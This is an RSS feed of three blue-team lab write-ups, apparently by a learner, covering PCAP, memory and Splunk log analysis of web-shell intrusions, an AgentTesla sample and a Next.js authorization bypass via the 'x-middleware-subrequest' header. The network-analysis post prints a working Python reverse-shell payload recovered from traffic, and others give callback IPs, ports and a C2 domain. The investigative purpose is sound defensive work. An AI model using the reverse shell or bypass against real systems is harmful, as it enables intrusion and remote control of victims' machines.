<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by metagr0ss on Medium]]></title>
        <description><![CDATA[Stories by metagr0ss on Medium]]></description>
        <link>https://medium.com/@metagr0ss?source=rss-51a88017b813------2</link>
        
        <generator>Medium</generator>
        <lastBuildDate>Sun, 22 Nov 2026 09:07:28 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@metagr0ss/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[CyberDefenders - Lockdown Lab]]></title>
            <link>https://medium.com/@metagr0ss/cyberdefenders-lockdown-lab-b685250ebae5?source=rss-51a88017b813------2</link>
            <guid isPermaLink="false">https://medium.com/p/b685250ebae5</guid>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[memory-forensics]]></category>
            <category><![CDATA[network-analysis]]></category>
            <category><![CDATA[cyberdefender]]></category>
            <dc:creator><![CDATA[metagr0ss]]></dc:creator>
            <pubDate>Mon, 06 Jul 2026 06:59:36 GMT</pubDate>
            <atom:updated>2026-09-30T03:41:32.634Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*c4Z3GH8rSGRIVUkXPADbvw.png" /></figure><blockquote>Analysis Walkthrough</blockquote><p><strong>Problem</strong></p><p>An attacker injecting a reverse shell using a mimic port.</p><p><strong>Tags</strong></p><p>Wireshark, Memory Dump, Malware Analysis</p><p><strong>Tools Used</strong></p><p>Wireshark, Volatility 3, VirusTotal</p><p><strong>Evidence Provided</strong></p><p>Network capture (.pcap), full memory image (.mem), and a recovered malware sample (.exe)</p><p><strong>Focus of Investigation</strong></p><p>Reconstructing the network intrusion in the PCAP (host discovery, HTTP/SMB enumeration, and the reverse-shell callback), reviewing the memory image for the reverse-shell process and its persistence implant, and performing static/threat-intel analysis of the recovered binary to attribute the malware.</p><p><strong>Challenge</strong></p><p>TechNova Systems’ SOC has detected suspicious outbound traffic from a public-facing IIS server in its cloud platform — activity suggestive of a web-shell drop and covert connections to an unknown host. As the forensic examiner, you have three critical artefacts in hand: a PCAP capturing the initial traffic, a full memory image of the server, and a malware sample recovered from disk. Reconstruct the intrusion and all of the attacker’s activities so TechNova can contain the breach and strengthen its defenses.</p><p><strong>Walkthrough</strong></p><blockquote>Network Analysis</blockquote><h3>Q1: After flooding the IIS host with rapid-fire probes, the attacker reveals their origin. Which IP address generated this reconnaissance traffic?</h3><p>Upon opening the PCAP in Wireshark, I began where every network investigation should — by identifying the hosts involved. Navigating to <strong>Statistics → Endpoints</strong>, I reviewed the conversing devices to establish which machine was driving the activity. One host stood out immediately, generating a large volume of rapid-fire probes against the IIS server, marking it as the origin of the reconnaissance traffic.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rGcNdopBT2fdKDSDpBPF-w.png" /></figure><pre>Attacker&#39;s IP: 10.0.2.4</pre><h3>Q2: The attacker is carrying out targeted enumeration against the HTTP service on the IIS host. Based on the HTTP request headers, which tool is being used?</h3><p>With the attacker’s IP established, I narrowed the investigation by pivoting on that address and isolating its HTTP traffic:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZVElGZOuKBMaV9dSP5xybw.png" /></figure><pre>ip.src==10.0.2.4 &amp;&amp; http</pre><p>The first packets revealed targeted enumeration against the host at 10.0.2.15. Inspecting the request headers of that specific packet confirmed the tool behind the activity — the request identified <strong>nmap</strong> performing reconnaissance against the target.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M1kkytZNnjH-6ATPyekr-Q.png" /></figure><pre>Tool Used: nmap</pre><h3>Q3: While reviewing the SMB traffic, you observe two consecutive Tree Connect requests that expose the first shares the intruder probes on the IIS host. Which two full UNC paths are accessed?</h3><p>Next, I turned to the SMB traffic. Filtering on the attacker’s IP alone surfaced nothing meaningful, so I broadened the search to port 445 and found SMB2 packets in the capture. Reviewing the two consecutive <strong>Tree Connect</strong> requests exposed the first shares the intruder probed, with the UNC paths visible directly in the Info column:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JdT0punA90vJ8HEGaWBCug.png" /></figure><pre>Two Full UNC Paths: \\10.0.2.15\Documents, \\10.0.2.15\IPC$</pre><h3>Q4: Inside the share, the attacker plants a web-accessible payload that will grant remote code execution. What is the filename of the malicious file they uploaded?</h3><p>Working through the same stream, I repeatedly encountered the payload the attacker planted inside the share — a web-accessible file designed to grant remote code execution:</p><pre>Filename: shell.aspx</pre><h3>Q1: The newly planted shell calls back to the attacker over an uncommon but firewall-friendly port. Which listening port did the attacker use for the reverse shell?</h3><p>Finally, I hunted for the callback. Reverse shells over “firewall-friendly” ports are a common evasion trick, so I checked the web-adjacent ports that tend to blend in — 4443 and 8443 — reasoning the attacker would choose something close to legitimate web traffic to stay quiet. That hunch paid off, revealing the reverse-shell listener:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Z9oik2IYHHBi-aA7L0T7Eg.png" /></figure><pre>Reverse-shell Port: 4443</pre><blockquote>Memory Forensics</blockquote><h3>Q1: Your memory snapshot captures the system’s kernel in situ, providing vital context for the breach. What is the kernel base address in the dump?</h3><p>With the network story reconstructed, I moved to the memory image to understand what executed on the host. I started by establishing baseline context about the system’s kernel using Volatility 3’s windows.info plugin:</p><pre>python3 ~/Tools/volatility3/vol.py -f memdump.mem windows.info</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eb8vEDdkQfRbIf0puJlo5A.png" /></figure><pre>Kernel Base Address: 0xf80079213000</pre><h3>Q2: A trusted service launches an unfamiliar executable residing outside the usual IIS stack, signalling a persistence implant. What is the final full on-disk path of that executable?</h3><p>Next, I hunted for persistence by reviewing process command lines with the windows.cmdline plugin:</p><pre>python3 ~/Tools/volatility3/vol.py -f memdump.mem windows.cmdline</pre><p>Among the process arguments, one file stood out — updatenow.exe running out of the Startup folder. Startup locations are a classic persistence target, since anything placed there launches automatically at logon, which made this executable highly suspicious.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Re-hpo5zLy72s4JNyXEkWw.png" /></figure><pre>Path: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\updatenow.exe</pre><h3>Q3: The reverse shell’s outbound traffic is handled by a built-in Windows process that also spawns the implanted executable. What is the name of this process, and what PID does it run under?</h3><p>Directly above that entry, the same output revealed the built-in Windows process responsible for the reverse shell’s outbound traffic and for spawning the implant — the IIS worker process:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/815/1*FynjHqtCRSGpDKxduyKY7Q.png" /></figure><pre>Process: w3wp.exe (PID 4332)</pre><blockquote>Malware Analysis</blockquote><h3>Q1: Static inspection reveals the binary has been packed to hinder analysis. Which packer was used to obfuscate it?</h3><p>With the implant identified, I turned to the recovered binary itself. I uploaded the executable to VirusTotal and reviewed the Details section, which showed the sample had been packed to hinder analysis:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UGZp7fi4s0W0cRX8ZCqXwQ.png" /></figure><pre>Packer: UPX</pre><h3>Q2: Threat-intel analysis shows the malware beaconing to its command-and-control host. Which fully qualified domain name (FQDN) does it contact?</h3><p>Reviewing the Relations section surfaced the command-and-control infrastructure — a single contacted domain carrying a detection:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*ChSHnlhT-3yLwxf_lAQofA.png" /></figure><pre>C2 Domain: cp8nl.hyperhost.ua</pre><h3>Q1: Open-source intel associates that hash with a well-known commodity RAT. To which malware family does the sample belong?</h3><p>Finally, the Detection section tied the sample’s hash to a well-known commodity RAT, giving me the malware family behind the intrusion:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Tm9gtM0-8Ee_lbzr-5btOQ.png" /></figure><pre>Malware Family: AgentTesla</pre><p><strong>Findings Summary</strong></p><ul><li><strong>Attacker IP:</strong> 10.0.2.4</li><li><strong>Reconnaissance tool:</strong> nmap</li><li><strong>SMB shares accessed:</strong> \\10.0.2.15\Documents, \\10.0.2.15\IPC$</li><li><strong>Uploaded web shell:</strong> shell.aspx</li><li><strong>Reverse-shell port:</strong> 4443</li><li><strong>Kernel base address:</strong> 0xf80079213000</li><li><strong>Persistence implant:</strong> C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\updatenow.exe</li><li><strong>Host / spawning process:</strong> w3wp.exe (PID 4332)</li><li><strong>Packer:</strong> UPX</li><li><strong>C2 domain:</strong> cp8nl.hyperhost.ua</li><li><strong>Malware family:</strong> AgentTesla</li></ul><p>In this investigation, I reconstructed a complete attack chain against a public-facing IIS server — beginning with nmap reconnaissance and SMB share enumeration, progressing through the upload of an ASPX web shell, and culminating in a reverse-shell callback over the mimic port 4443. The memory image confirmed the attacker had established persistence via updatenow.exe in the Startup folder, with the IIS worker process (w3wp.exe, PID 4332) hosting the malicious activity. Static and threat-intel analysis of the recovered binary revealed a UPX-packed AgentTesla sample beaconing to cp8nl.hyperhost.ua.</p><p>Thanks for reading. I’ll continue documenting my cybersecurity learning journey through more write-ups :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b685250ebae5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[BTLO - Middle Mayhem]]></title>
            <link>https://medium.com/@metagr0ss/btlo-middle-mayhem-6e85521e2e06?source=rss-51a88017b813------2</link>
            <guid isPermaLink="false">https://medium.com/p/6e85521e2e06</guid>
            <category><![CDATA[investigation]]></category>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[btlo]]></category>
            <category><![CDATA[splunk]]></category>
            <category><![CDATA[logs]]></category>
            <dc:creator><![CDATA[metagr0ss]]></dc:creator>
            <pubDate>Sat, 25 Apr 2026 05:21:10 GMT</pubDate>
            <atom:updated>2026-04-25T05:24:35.200Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/572/1*118dYhWh-0mu2ZWHvXo9tw.png" /></figure><blockquote>Log Analysis Walkthrough</blockquote><h4>Problem</h4><p>Analyzing the attack pattern to determine how attackers bypassed authentication, gained remote code execution, and moved laterally through the network.</p><h4>Tags</h4><p>RDP, Investigation, Logs</p><h4>Tools Used</h4><p>Splunk</p><h4>Focus of Investigation</h4><p>Analysis of SIEM logs to trace the full attack chain, including reconnaissance activity, authentication bypass, remote code execution attempts, and lateral movement within the internal network.</p><h4>Challenge</h4><p>The security team at MiddleMayhem Inc. has detected unusual network traffic to their admin portal, but no security breaches have been confirmed. Your SOC team has been provided with SIEM logs from the incident. Analyze the attack pattern to determine how attackers bypassed authentication, gained remote code execution, and moved laterally through the network.</p><h4>Walkthrough</h4><h4>Q1: Access the Website in the browser, present it in the bookmark, and identify the JavaScript framework and version used.</h4><p>Upon accessing the website, I inspected the front-end components and quickly identified the framework and version displayed in the page metadata:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/791/1*Pf4tzaCf7ZiQyoqnyHnW3g.png" /></figure><ul><li><strong>Framework:</strong> Next.js</li><li><strong>Version:</strong> 15.0.0</li></ul><p>This is important because identifying the framework allows us to correlate it with known vulnerabilities.</p><h4>Q2: Using Splunk, Find the attacker’s IP address</h4><p>I began by analyzing the SIEM logs in Splunk, focusing on source IP activity. Using the search field, I queried for source IP values:</p><pre>ip_src=*</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*BJHQV4-ryhF4e3SpJNFxJA.png" /></figure><p>From the results, I identified two main IP addresses involved — one belonging to the attacker and the other to the target system. By correlating suspicious behavior, the attacker’s IP was determined to be:</p><ul><li><strong>Attacker IP:</strong> 218.92.0.204</li></ul><h4>Q3: Analyze the SIEM logs to determine how many unique URIs were accessed by the attacker.</h4><p>To measure the extent of reconnaissance activity, I filtered events associated with the attacker’s IP and counted distinct URIs:</p><pre>ip_src=&quot;218.92.0.204&quot; | stats dc(http_request_uri)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/502/1*Dq0PepFWtQmgWQQjqrTggg.png" /></figure><ul><li><strong>Unique URIs Accessed:</strong> 9930</li></ul><p>This unusually high number indicates aggressive enumeration, likely automated.</p><h4>Q4: Explore the site and identify two specific locations that could reveal internal structures or potential access points not meant for public eyes. Provide the two relative URLs.</h4><p>While exploring the website, I examined publicly accessible files such as robots.txt, which often expose hidden or restricted paths.</p><p>From this, I identified sensitive endpoints:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/669/1*3vOeEvu2EVODXr-EMSaTUA.png" /></figure><ul><li><strong>/admin</strong></li><li><strong>/admin/file-upload</strong></li></ul><p>These locations suggest potential entry points for privileged functionality.</p><h4>Q5: Based on the Framework and Version, what recent CVE could be used to bypass authorization?</h4><p>Given the identified framework (<strong>Next.js 15.0.0</strong>), I correlated it with known vulnerabilities and found:</p><ul><li><strong>CVE:</strong> CVE-2025-29927</li></ul><p>This vulnerability enables authorization bypass under specific conditions.</p><h4>Q6: Find the relevant HTTP header in the SIEM logs that indicates CVE exploitation. Provide the header name.</h4><p>To confirm exploitation, I searched for indicators tied to the CVE. Based on documentation, the relevant header is:</p><ul><li><strong>Header:</strong> x-middleware-subrequest</li></ul><p>This header is associated with middleware behavior in Next.js and can be abused to bypass access controls.</p><h4>Q7: What interesting URI did the attacker access after exploiting the CVE?</h4><p>By correlating the attacker’s IP with the identified malicious header:</p><pre>ip_src=&quot;218.92.0.204&quot; x-middleware-subrequest</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/595/1*IQ2LFObHJdfJvtH4iWIebw.png" /></figure><p>I observed access to sensitive endpoints. The most relevant URI was:</p><ul><li><strong>/api/upload</strong></li></ul><p>This suggests the attacker gained access to functionality that allows file uploads.</p><h4>Q8: The attacker tried uploading a reverse shell. Find out the IP and port to which the target would connect once the connection is established.</h4><p>To identify reverse shell activity, I searched for command patterns involving network connections:</p><pre>ip_src=&quot;218.92.0.204&quot; &quot;nc&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/996/1*KzXuspdMspJSzSj0UUeqNw.png" /></figure><p>From the logs, I extracted the callback details:</p><ul><li><strong>Callback IP:</strong> 113.89.232.157</li><li><strong>Port:</strong> 31337</li></ul><p>This indicates an attempt to establish a reverse shell connection.</p><h4>Q9: After compromising the WebApp server, the attacker attempted lateral movement. Identify the technique used, as recorded in the SIEM logs.</h4><p>Expanding the search across all logs:</p><pre>index=*</pre><p>I analyzed activity across hosts and identified repeated SSH authentication attempts, particularly targeting internal systems.</p><ul><li><strong>Technique:</strong> SSH brute force</li></ul><p>This suggests the attacker attempted to move laterally using credential guessing.</p><h4>Q10: Identify the user account that achieved successful lateral movement to another server.</h4><p>By reviewing successful authentication events, I identified the compromised account:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/995/1*6OqmyIJq2kR76UrsQXlqZA.png" /></figure><ul><li><strong>User Account:</strong> dbserv</li></ul><p>This confirms that lateral movement was successful using valid credentials.</p><p>In this investigation, the attacker followed a structured attack chain — starting with reconnaissance through mass URI enumeration, followed by exploitation of a known Next.js vulnerability (<strong>CVE-2025–29927</strong>) to bypass authorization controls. This enabled access to sensitive functionality such as file uploads, which was then used to attempt remote code execution via a reverse shell.</p><p>After compromising the web application, the attacker proceeded with lateral movement using SSH brute force, eventually gaining access to another system using the dbserv account. This demonstrates how a single vulnerable entry point can lead to broader network compromise.</p><p>From a defensive perspective, this case highlights the importance of patching known vulnerabilities, monitoring abnormal enumeration behavior, validating access control mechanisms, and detecting brute-force attempts across internal systems.</p><p>Thanks for reading. I’ll continue documenting my cybersecurity learning journey through more write-ups :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6e85521e2e06" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[BTLO - Network Analysis]]></title>
            <link>https://medium.com/@metagr0ss/btlo-network-analysis-477c988b7770?source=rss-51a88017b813------2</link>
            <guid isPermaLink="false">https://medium.com/p/477c988b7770</guid>
            <category><![CDATA[wireshark]]></category>
            <category><![CDATA[networking]]></category>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[btlo]]></category>
            <category><![CDATA[investigation]]></category>
            <dc:creator><![CDATA[metagr0ss]]></dc:creator>
            <pubDate>Thu, 23 Apr 2026 08:25:43 GMT</pubDate>
            <atom:updated>2026-04-25T05:22:18.470Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/533/1*4RWgmkTGcaUyl1ltHpz9ug.png" /></figure><blockquote>Network Analysis Walkthrough</blockquote><h4>Problem</h4><p>An internal host was detected performing widespread scanning activity across the network, triggering a SOC alert for potential reconnaissance behavior.</p><h4>Tags</h4><p>Networking, Reconnaissance</p><h4>Tools Used</h4><p>Wireshark</p><h4>Evidence Provided</h4><p>PCAP file (.pcap)</p><h4>Focus of Investigation</h4><p>Analysis of HTTP (GET/POST) and TCP traffic to identify suspicious scanning and exploitation behavior within the internal network.</p><h4>Challenge</h4><p>The SOC received an alert in their SIEM for ‘Local to Local Port Scanning’ where an internal private IP began scanning another internal system. Can you investigate and determine if this activity is malicious or not? You have been provided a PCAP, investigate using any tools you wish.</p><h4>Walkthrough</h4><p>Upon opening the PCAP in Wireshark, I began by identifying unusual traffic patterns between hosts. I observed a large volume of packets originating from 10.251.96.4 targeting 10.251.96.5, consisting mainly of TCP SYN packets along with HTTP GET and POST requests. This combination is suspicious because SYN packets indicate repeated connection attempts across multiple ports, while HTTP requests suggest interaction with web services. Seeing both behaviors from a single source strongly points to reconnaissance followed by potential exploitation.</p><p>To focus on the scanning behavior, I applied the following filter:</p><pre>ip.src == 10.251.96.4 &amp;&amp; tcp &amp;&amp; !http</pre><p>This isolates raw TCP traffic and removes HTTP noise. By analyzing the destination ports (tcp.dstport), I observed a sequential pattern covering ports <strong>1–1024</strong>, indicating that the attacker was scanning well-known ports.</p><p>Looking closer at the TCP packets, the attacker repeatedly sent SYN packets without completing the full three-way handshake. This behavior confirms a <strong>SYN (Half-Open) scan</strong>, where the attacker sends a SYN packet, receives a SYN/ACK from open ports, and immediately responds with a RST packet. This allows the attacker to identify open ports quickly while avoiding full connection logs, making it a stealthier scanning technique.</p><p>Next, I shifted focus to HTTP traffic to identify additional reconnaissance activity. Using the filter:</p><pre>ip.src == 10.251.96.4 &amp;&amp; http.request.method == GET</pre><p>I inspected the User-Agent headers and identified <strong>Gobuster (gobuster/3.0.1)</strong>, which is commonly used for directory and file brute-forcing on web servers. This indicates that the attacker was enumerating hidden endpoints after identifying open web ports.</p><p>To check for further activity, I analyzed POST requests:</p><pre>ip.src == 10.251.96.4 &amp;&amp; http.request.method == POST</pre><p>Here, I identified another tool: <strong>SQLMap (sqlmap/1.4.7)</strong>, which is used for automated SQL injection. This suggests that the attacker moved from enumeration to actively probing for database vulnerabilities.</p><p>While analyzing the POST requests, I noticed suspicious upload activity. By examining the request details, I identified that the file upload was performed through <strong>editprofile.php</strong>, where a file named <strong>dbfunctions.php</strong> was uploaded. This indicates that the attacker successfully abused a file upload functionality to place a web shell on the server. The parameter used for command execution within the web shell was <strong>cmd</strong>, which is commonly used to pass system commands via HTTP requests.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*s4Bf8A-H1mxzjxOw05XIQA.png" /></figure><p>To trace command execution, I returned to GET requests and observed the following:</p><pre>ip.src == 10.251.96.4 &amp;&amp; http.request.method == GET</pre><p>The first command executed was:</p><pre>cmd=id</pre><p>This command is typically used to verify command execution and check the privileges of the compromised system.</p><p>Further inspection of the TCP stream revealed a Python-based payload:</p><pre><br>import socket, subprocess, os<br>s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br>s.connect((&quot;10.251.96.4&quot;, 4422))<br>os.dup2(s.fileno(), 0)<br>os.dup2(s.fileno(), 1)<br>os.dup2(s.fileno(), 2)<br>subprocess.call([&quot;/bin/sh&quot;, &quot;-i&quot;])</pre><p>Analyzing this payload shows that it creates a <strong>reverse shell</strong>, where the compromised system connects back to the attacker’s machine.</p><ul><li><strong>Shell Type:</strong> Reverse shell</li><li><strong>Callback IP:</strong> 10.251.96.4</li><li><strong>Port:</strong> 4422</li></ul><p>This confirms that the attacker successfully gained remote command execution and established interactive access to the target system.</p><p>In this investigation, we analyzed a complete attack chain starting from internal port scanning and progressing through web enumeration using Gobuster, vulnerability exploitation with SQLMap, and eventual file upload abuse that led to a deployed web shell. This ultimately resulted in command execution and a reverse shell, granting the attacker interactive access to the system.</p><p>From a defensive perspective, this incident highlights the importance of detecting abnormal scanning behavior, enforcing strict file upload validation, and monitoring for unusual outbound connections such as reverse shells. Proper logging and alerting at each stage of the attack chain could significantly reduce detection time and prevent escalation.</p><p>This case demonstrates how quickly reconnaissance activity can escalate into full system compromise when exposed services and insecure configurations are present.</p><p>Thanks for reading. I’ll continue documenting my cybersecurity learning journey through more write-ups :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=477c988b7770" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>